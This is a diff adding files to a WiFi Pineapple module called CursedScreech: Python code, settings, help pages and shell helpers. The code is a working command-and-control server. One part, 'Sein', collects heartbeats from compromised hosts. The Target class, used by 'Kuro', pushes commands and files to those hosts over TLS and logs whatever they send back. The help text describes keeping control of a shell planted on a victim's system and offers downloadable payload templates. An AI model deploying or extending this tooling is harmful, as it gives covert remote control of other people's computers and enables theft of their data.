# Load settings from file and assign to vars
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
MCAST_GROUP = IFACE = target_list = activity_log = ""
|
||||
MCAST_PORT = hbInterval = 0
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "target_list":
|
||||
target_list = params[1]
|
||||
elif params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "mcast_group":
|
||||
MCAST_GROUP = params[1]
|
||||
elif params[0] == "mcast_port":
|
||||
MCAST_PORT = int(params[1])
|
||||
elif params[0] == "hb_interval":
|
||||
hbInterval = int(params[1])
|
||||
elif params[0] == "iface_ip":
|
||||
IFACE = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
# Default to a heartbeat of 5 seconds
|
||||
# if one has not been set in file
|
||||
if hbInterval == 0:
|
||||
hbInterval = 5
|
||||
|
||||
# Function to determine if a target exists in the supplied list
|
||||
def targetExists(tgt,l):
|
||||
for t in l:
|
||||
if tgt in t.addr:
|
||||
return True
|
||||
return False
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def writeTargets(targets):
|
||||
with open(target_list, 'w') as tlog:
|
||||
for target in targets:
|
||||
tlog.write(target.sockName() + "\n")
|
||||
|
||||
# Set up the receiver socket to listen for multicast messages
|
||||
sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
||||
sck.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sck.bind((MCAST_GROUP, MCAST_PORT))
|
||||
sck.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MCAST_GROUP)+socket.inet_aton(IFACE))
|
||||
|
||||
# Import targets from file if any exist
|
||||
targets = []
|
||||
with open(target_list, 'r') as tList:
|
||||
for line in tList:
|
||||
targets.append(Target(line.split(":")[0], line.split(":")[1]))
|
||||
|
||||
def checkMissingTargets():
|
||||
while True:
|
||||
# Check if any targets are missing. If they are remove them
|
||||
# from the target_list and writeTargets().
|
||||
# 'Missing' is indicated by not receiving a heartbeat from a target
|
||||
# within thrice the set heartbeat interval.
|
||||
global targets
|
||||
global hbInterval
|
||||
updateTargetList = False
|
||||
for t in targets:
|
||||
if t.isMissing(hbInterval * 3):
|
||||
targets.remove(t)
|
||||
updateTargetList = True
|
||||
|
||||
if updateTargetList:
|
||||
writeTargets(targets)
|
||||
|
||||
# Set up a separate thread to constantly check if targets
|
||||
# have missed multiple heartbeats.
|
||||
threads = []
|
||||
newThread = threading.Thread(target=checkMissingTargets)
|
||||
threads.append(newThread)
|
||||
newThread.start()
|
||||
|
||||
while True:
|
||||
print "Waiting for heartbeat..."
|
||||
try:
|
||||
msg = sck.recv(10240)
|
||||
ip = msg.split(":")[0]
|
||||
port = msg.split(":")[1]
|
||||
|
||||
print "Received: " + msg
|
||||
|
||||
# The heartbeat is sometimes used to send a message telling us
|
||||
# when an invalid cert was sent to the target. This can be a sign
|
||||
# of an attacker on the network attempting to access the shell
|
||||
# we worked so hard to get on the target's system.
|
||||
# We check for messages here and direct them to the proper log.
|
||||
# For brevity's sake ip will let us know if it's a message and
|
||||
# port will contain the contents of the message.
|
||||
if ip == "msg":
|
||||
logActivity("Multicast Message: " + port)
|
||||
continue
|
||||
|
||||
# Check if the target currently exists in the target list
|
||||
# if not then append it and write the list back out to
|
||||
# target_list
|
||||
if targetExists(ip, targets):
|
||||
for i,t in enumerate(targets):
|
||||
if ip == t.addr:
|
||||
t.setPort(port)
|
||||
t.lastSeen = time.time()
|
||||
writeTargets(targets)
|
||||
else:
|
||||
targets.append(Target(ip, port))
|
||||
writeTargets(targets)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit()
|
||||
13
CursedScreech/includes/forest/settings
Executable file
@@ -0,0 +1,13 @@
|
||||
kuro_key=
|
||||
target_key=
|
||||
client_serial=File does not exist
|
||||
iface_name=br-lan
|
||||
iface_ip=172.16.42.1
|
||||
mcast_group=231.253.78.29
|
||||
mcast_port=19578
|
||||
target_list=/pineapple/modules/CursedScreech/includes/forest/targets.log
|
||||
activity_log=/pineapple/modules/CursedScreech/includes/forest/activity.log
|
||||
cmd_list=/pineapple/modules/CursedScreech/includes/forest/cmd.log
|
||||
hb_interval=5
|
||||
kuro_serial=File does not exist
|
||||
auth=1
|
||||
126
CursedScreech/includes/forest/target.py
Executable file
@@ -0,0 +1,126 @@
|
||||
from ssl import *
|
||||
from socket import *
|
||||
import time
|
||||
import os
|
||||
|
||||
# Pull settings from file
|
||||
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
||||
targetLogLocation = "/pineapple/modules/CursedScreech/includes/forest/targetlogs/"
|
||||
activity_log = priv_key = pub_cer = client_key = client_serial = ""
|
||||
settings = {}
|
||||
with open(settingsFile, "r") as sFile:
|
||||
for line in sFile:
|
||||
params = line.strip("\n").split("=")
|
||||
if params[0] == "activity_log":
|
||||
activity_log = params[1]
|
||||
elif params[0] == "kuro_key":
|
||||
priv_key = params[1] + ".pem"
|
||||
pub_cer = params[1] + ".cer"
|
||||
elif params[0] == "target_key":
|
||||
client_key = params[1] + ".cer"
|
||||
elif params[0] == "client_serial":
|
||||
client_serial = params[1]
|
||||
else:
|
||||
pass
|
||||
|
||||
def logActivity(msg):
|
||||
with open(activity_log, "a") as log:
|
||||
log.write(msg + "\n")
|
||||
|
||||
def logReceivedData(data, file):
|
||||
with open(targetLogLocation + file, "a+") as tLog:
|
||||
tLog.write(data + "\n")
|
||||
|
||||
class Target:
|
||||
def __init__(self,addr=None,port=None):
|
||||
self.addr = addr
|
||||
self.port = int(port)
|
||||
self.socket = None
|
||||
self.msg = ""
|
||||
self.recvData = ""
|
||||
self.connected = False
|
||||
self.lastSeen = time.time()
|
||||
|
||||
def secureConnect(self):
|
||||
print "[>] Connecting to " + self.sockName()
|
||||
logActivity("[>] Connecting to " + self.sockName())
|
||||
|
||||
try:
|
||||
sck = socket(AF_INET, SOCK_STREAM)
|
||||
self.socket = wrap_socket(sck, ssl_version=PROTOCOL_SSLv23, keyfile=priv_key, certfile=pub_cer, cert_reqs=CERT_REQUIRED, ca_certs=client_key)
|
||||
self.socket.settimeout(10)
|
||||
self.socket.connect((self.addr,self.port))
|
||||
self.socket.settimeout(None)
|
||||
|
||||
# Fetch the target's certificate to verify their identity
|
||||
cert = self.socket.getpeercert()
|
||||
if not cert['serialNumber'] == client_serial:
|
||||
logActivity("[-] Certificate serial number doesn't match.")
|
||||
self.disconnect()
|
||||
else:
|
||||
print "[+] Connected to " + self.sockName() + " via " + self.socket.version()
|
||||
logActivity("[+] Connected to " + self.sockName() + " via " + self.socket.version())
|
||||
self.connected = True
|
||||
|
||||
except error as sockerror:
|
||||
logActivity("[!] Failed to connect to " + self.sockName())
|
||||
self.connected = False
|
||||
|
||||
def send(self, data):
|
||||
if self.isConnected():
|
||||
|
||||
if "sendfile;" in data:
|
||||
dataParts = data.split(";")
|
||||
filePath = dataParts[1]
|
||||
storeDir = dataParts[2]
|
||||
self.socket.sendall("sendfile;" + os.path.basename(filePath) + ";" + str(os.path.getsize(filePath)) + ";" + storeDir)
|
||||
with open(filePath, "rb") as f:
|
||||
self.socket.sendall(f.read())
|
||||
logActivity("[!] File sent to " + self.sockName())
|
||||
else:
|
||||
self.socket.sendall(data.encode())
|
||||
logActivity("[!] Command sent to " + self.sockName())
|
||||
logReceivedData(data, self.addr)
|
||||
|
||||
|
||||
def recv(self):
|
||||
try:
|
||||
d = self.socket.recv(4096)
|
||||
self.recvData = d.decode()
|
||||
|
||||
if not self.recvData:
|
||||
self.disconnect()
|
||||
return
|
||||
|
||||
logReceivedData(self.recvData, self.addr)
|
||||
logActivity("[+] Data received from: " + self.sockName())
|
||||
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
except:
|
||||
self.disconnect()
|
||||
|
||||
def isConnected(self):
|
||||
return self.connected
|
||||
|
||||
def sockName(self):
|
||||
return self.addr + ":" + str(self.port)
|
||||
|
||||
def disconnect(self):
|
||||
logActivity("[!] Closing connection to " + self.sockName())
|
||||
try:
|
||||
self.socket.shutdown(SHUT_RDWR)
|
||||
except:
|
||||
pass
|
||||
self.socket.close()
|
||||
self.connected = False
|
||||
|
||||
def setPort(self, port):
|
||||
self.port = int(port)
|
||||
|
||||
def isMissing(self, limit):
|
||||
if time.time() - self.lastSeen > limit:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
0
CursedScreech/includes/forest/targets.log
Executable file
8
CursedScreech/includes/help/activitylog.help
Executable file
@@ -0,0 +1,8 @@
|
||||
This log contains the output of Kuro. It will inform you when a connection is initiated, when
|
||||
a connection has been established with a target, the set TLS level with the target, when a command
|
||||
has been sent to a target, when data is received from a target, and when targets are disconnected.
|
||||
<br /><br />
|
||||
Sometimes, Sein will interject and add a message to the log. This only occurs when a target has
|
||||
received a connection request from an attacker holding a key different from Kuro's. A message is
|
||||
sent to the multicast group, Sein receives it, and posts it in the activity log. This informs you
|
||||
that someone other than yourself is trying to access the shell on your target.
|
||||
11
CursedScreech/includes/help/key.help
Executable file
@@ -0,0 +1,11 @@
|
||||
<strong>Encrypted</strong><br />
|
||||
Displays if the private key (.pem) is encrypted. Does not include encryption on .pfx containers.
|
||||
<br /><br />
|
||||
|
||||
<strong>Select</strong><br />
|
||||
When you click Select the associated key will be used. Both the private and public key will be used for Kuro.py and only the public key will be used for the target. This is so each program can verify the other when communicating over the network.
|
||||
<br /><br />
|
||||
<font color="red">
|
||||
Do not select encrypted keys for Kuro. You will not be able to start the process if encrypted keys are used. You may select encrypted keys for the target if you are using C# to write your payload.
|
||||
</font>
|
||||
|
||||
39
CursedScreech/includes/help/settings.help
Executable file
@@ -0,0 +1,39 @@
|
||||
<h4>Listening Interface</h4>
|
||||
This is the interface that will be used for the multicast socket. br-lan is the Pineapple
|
||||
network and is what you will use if your targets are connecting to your Pineapple directly.
|
||||
<br /><br />
|
||||
|
||||
<h4>Multicast Group</h4>
|
||||
This is the address on which target heartbeats will be sent and received. The group needs to be
|
||||
the same for both Sein and your targets in order for Sein to receive the messages.
|
||||
<br /><br />
|
||||
|
||||
<h4>Multicast Port</h4>
|
||||
This is the port on which Sein will receive messages from targets. This same port needs to be
|
||||
reflected in the startMulticaster() method of your payload.
|
||||
<br /><br />
|
||||
|
||||
<h4>Heartbeat Interval</h4>
|
||||
The interval at which the payload will broadcast its listening address to Sein. Sein uses this
|
||||
value, multiplied by 3, to determine if a target has dropped off the network (i.e. three heartbeats
|
||||
have been missed, therefore, the target must be offline).
|
||||
<br /><br />
|
||||
|
||||
<h4>Kuro Keys</h4>
|
||||
The set of keys that Kuro will use for TLS communication. Your payload will verify Kuro's public
|
||||
certificate if you use the API (which you should).
|
||||
<br /><br />
|
||||
|
||||
<h4>Target Keys</h4>
|
||||
The set of keys used by the payload for TLS communication. Kuro will verify the target's public
|
||||
certificate upon connection.
|
||||
<br /><br />
|
||||
|
||||
<h4>C# Payload</h4>
|
||||
Downloads an archive containing the C# API, documentation, and a template C# payload configured
|
||||
with the settings used here.
|
||||
<br /><br />
|
||||
|
||||
<h4>Python Payload</h4>
|
||||
Downloads an archive containing the Python API, documentation, and a template Python payload
|
||||
configured with the settings used here.
|
||||
14
CursedScreech/includes/help/status.help
Executable file
@@ -0,0 +1,14 @@
|
||||
<h4>Sein</h4>
|
||||
Sein is our information gatherer. It listens on the multicast group and port in Settings and
|
||||
updates our target list when a compromised system is found.
|
||||
<br /><br />
|
||||
|
||||
<h4>Kuro</h4>
|
||||
Kuro is our attacker that sends out commands to the clients you select. At startup it attempts to
|
||||
connect to all clients in the list. If Sein finds new targets while Kuro is running, connections to
|
||||
them will be attempted automatically. Commands are sent asynchronously and returned data is received
|
||||
in the same manner.
|
||||
<br /><br />
|
||||
|
||||
<h4>Dependencies</h4>
|
||||
The only dependency required is zip for downloading payloads and target logs.
|
||||
30
CursedScreech/includes/help/targets.help
Executable file
@@ -0,0 +1,30 @@
|
||||
<h4>EZ Cmds (select)</h4>
|
||||
Pre-configured commands that can be sent to targets.
|
||||
<br /><br />
|
||||
|
||||
<h4>EZ Cmds (button)</h4>
|
||||
Open the EZ Cmds manager where you can add, edit, or delete EZ Cmds that appear in the list.
|
||||
<br /><br />
|
||||
|
||||
<h4>Send command to target</h4>
|
||||
Manually enter a command to send to targets.
|
||||
<br /><br />
|
||||
|
||||
<h4>Target List</h4>
|
||||
Displays the targets that are currently sending heartbeats to Sein. You can view, download,
|
||||
and clear received data.
|
||||
<br /><br />
|
||||
|
||||
<h4>Clear Targets</h4>
|
||||
Clears the target list. If targets are still online and sending heartbeats to Sein they will
|
||||
reappear in the list.
|
||||
<br /><br />
|
||||
|
||||
<h4>All Logs</h4>
|
||||
View, download, and delete logs from all clients, even those who were once connected but no longer
|
||||
show up in the target list.
|
||||
<br /><br />
|
||||
|
||||
<h4>Payloads</h4>
|
||||
Manage payloads that can be sent to targets. Use the 'Configure Upload Limit' link if your payload fails to upload
|
||||
due to size restrictions.
|
||||
BIN
CursedScreech/includes/icons/glyphicons-17-bin.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
CursedScreech/includes/icons/glyphicons-198-remove-circle.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
CursedScreech/includes/icons/glyphicons-201-download.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
CursedScreech/includes/icons/glyphicons-202-upload.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
CursedScreech/includes/icons/glyphicons-28-search.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
CursedScreech/includes/icons/glyphicons-37-file.png
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
CursedScreech/includes/icons/glyphicons-433-plus.png
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
CursedScreech/includes/icons/glyphicons-447-floppy-save.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
20
CursedScreech/includes/scripts/bigToLittleEndian.sh
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/bin/sh
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <serial>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
orig=$1
|
||||
serial=""
|
||||
|
||||
i=${#orig}
|
||||
|
||||
while [ $i -gt 0 ]
|
||||
do
|
||||
i=$(($i-2));
|
||||
serial="$serial${orig:$i:2}-"
|
||||
done
|
||||
|
||||
|
||||
echo $serial"00"
|
||||
41
CursedScreech/includes/scripts/cfgUploadLimit.py
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from subprocess import call
|
||||
|
||||
php = "/etc/php.ini"
|
||||
nginx = "/etc/nginx/nginx.conf"
|
||||
|
||||
lines = [f for f in open(php)]
|
||||
with open(php, "w") as out:
|
||||
for line in lines:
|
||||
if "upload_max_filesize" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 20M\n"
|
||||
line = "=".join(parts)
|
||||
if "post_max_size" in line:
|
||||
parts = line.split("=")
|
||||
parts[1] = " 26M\n"
|
||||
line = "=".join(parts)
|
||||
out.write(line)
|
||||
call(["/etc/init.d/php5-fpm", "reload"])
|
||||
|
||||
httpBlock = False
|
||||
needsCfg = True
|
||||
index = innerIndex = 0
|
||||
lines = [f for f in open(nginx)]
|
||||
for line in lines:
|
||||
if "client_max_body_size" in line:
|
||||
needsCfg = False
|
||||
break
|
||||
if needsCfg is True:
|
||||
with open(nginx, "w") as out:
|
||||
for line in lines:
|
||||
if "http {" in line:
|
||||
httpBlock = True
|
||||
if httpBlock is True:
|
||||
if innerIndex == 4:
|
||||
lines.insert(index + 1, "\tclient_max_body_size 20M;\n")
|
||||
innerIndex = innerIndex + 1
|
||||
index = index + 1
|
||||
out.write(line)
|
||||
call(["/etc/init.d/nginx", "reload"])
|
||||
9
CursedScreech/includes/scripts/checkDepends.sh
Executable file
@@ -0,0 +1,9 @@
|
||||
#!/bin/sh
|
||||
|
||||
testZip=$(opkg list-installed | grep 'zip')
|
||||
|
||||
if [ -z "$testZip" ]; then
|
||||
echo "Not Installed";
|
||||
else
|
||||
echo "Installed";
|
||||
fi
|
||||
14
CursedScreech/includes/scripts/getCertSerial.sh
Executable file
@@ -0,0 +1,14 @@
|
||||
#!/bin/sh
|
||||
|
||||
if [[ $# -lt 1 ]]; then
|
||||
echo "Usage: $0 <path to cert>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
if ! [[ -e $1 ]]; then
|
||||
echo "File does not exist"
|
||||
exit;
|
||||
fi
|
||||
|
||||
print=$(echo $(openssl x509 -noout -in $1 -serial) | sed 's/://g')
|
||||
echo $print | tr "=" " " | awk '{print $2}'
|
||||
8
CursedScreech/includes/scripts/getFingerprint.sh
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/bin/sh
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <certificate>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
openssl x509 -in $1 -noout -fingerprint | awk '{print $2}'
|
||||
9
CursedScreech/includes/scripts/getInterfaceIP.sh
Executable file
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Usage: $0 <iface>";
|
||||
exit;
|
||||
fi
|
||||
|
||||
|
||||
ifconfig $1 | grep inet | awk '{split($2,a,":"); print a[2]}'
|
||||
11
CursedScreech/includes/scripts/getListeningInterfaces.sh
Executable file
@@ -0,0 +1,11 @@
|
||||
#!/bin/bash
|
||||
|
||||
IFCS=$(ifconfig | cut -d " " -f1 | awk 'NF==1{print $1}')
|
||||
for iface in ${IFCS[@]}; do
|
||||
if [[ $iface == "lo" ]]; then
|
||||
continue
|
||||
fi
|
||||
if [[ $(ifconfig $iface | grep inet) != "" ]]; then
|
||||
echo $iface
|
||||
fi
|
||||
done
|
||||
8
CursedScreech/includes/scripts/installDepends.sh
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
opkg update > /dev/null;
|
||||
opkg install zip > /dev/null;
|
||||
echo "Complete"
|
||||
49
CursedScreech/includes/scripts/packPayload.sh
Executable file
@@ -0,0 +1,49 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
help() {
|
||||
echo "Usage: $0 <dir> <opts>";
|
||||
echo '';
|
||||
echo 'Parameters:';
|
||||
echo '';
|
||||
echo -e '\tdir:\tDirectory where the files reside';
|
||||
echo -e '\t-f:\tFile names as string value';
|
||||
echo -e '\t-o:\tName of output file';
|
||||
echo '';
|
||||
}
|
||||
|
||||
if [ "$#" -lt 1 ]; then
|
||||
help;
|
||||
exit;
|
||||
fi
|
||||
|
||||
# Define and clear out the download directory
|
||||
DL_DIR="/pineapple/modules/CursedScreech/includes/api/downloads/";
|
||||
rm -rf $DL_DIR*
|
||||
|
||||
# Get the key directory and shift it out of the argument vectors
|
||||
API_DIR="$1";
|
||||
shift;
|
||||
|
||||
FILES='';
|
||||
OUTPUT='';
|
||||
export IFS=" ";
|
||||
|
||||
while [ "$#" -gt 0 ]
|
||||
do
|
||||
|
||||
if [[ "$1" == "-f" ]]; then
|
||||
for word in $2; do
|
||||
FILES="$FILES $API_DIR$word";
|
||||
done
|
||||
fi
|
||||
if [[ "$1" == "-o" ]]; then
|
||||
OUTPUT="$2";
|
||||
fi
|
||||
|
||||
shift
|
||||
done;
|
||||
|
||||
zip -j $DL_DIR$OUTPUT $FILES > /dev/null;
|
||||
6
CursedScreech/includes/scripts/removeDepends.sh
Executable file
@@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Author: sud0nick
|
||||
# Date: Jan 2016
|
||||
|
||||
opkg remove zip > /dev/null;
|
||||
35
CursedScreech/includes/scripts/testEncrypt.sh
Executable file
@@ -0,0 +1,35 @@
|
||||
#!/bin/sh
|
||||
|
||||
|
||||
help() {
|
||||
echo "Usage: ./testEncrypt.sh <opts>";
|
||||
echo '';
|
||||
echo 'Parameters:';
|
||||
echo '';
|
||||
echo -e '\t-d:\tDirectory where key resides';
|
||||
echo -e '\t-k:\tName of key to test';
|
||||
echo '';
|
||||
}
|
||||
|
||||
if [ "$#" -lt 2 ]; then
|
||||
help;
|
||||
exit;
|
||||
fi
|
||||
|
||||
KEY=''
|
||||
KEYDIR=''
|
||||
|
||||
while [ "$#" -gt 0 ]
|
||||
do
|
||||
|
||||
if [[ "$1" == "-k" ]]; then
|
||||
KEY="$2.pem"
|
||||
fi
|
||||
if [[ "$1" == "-d" ]]; then
|
||||
KEYDIR="$2"
|
||||
fi
|
||||
|
||||
shift
|
||||
done;
|
||||
|
||||
openssl rsa -in $KEYDIR$KEY -passin pass: | awk 'NR==0;'
|
||||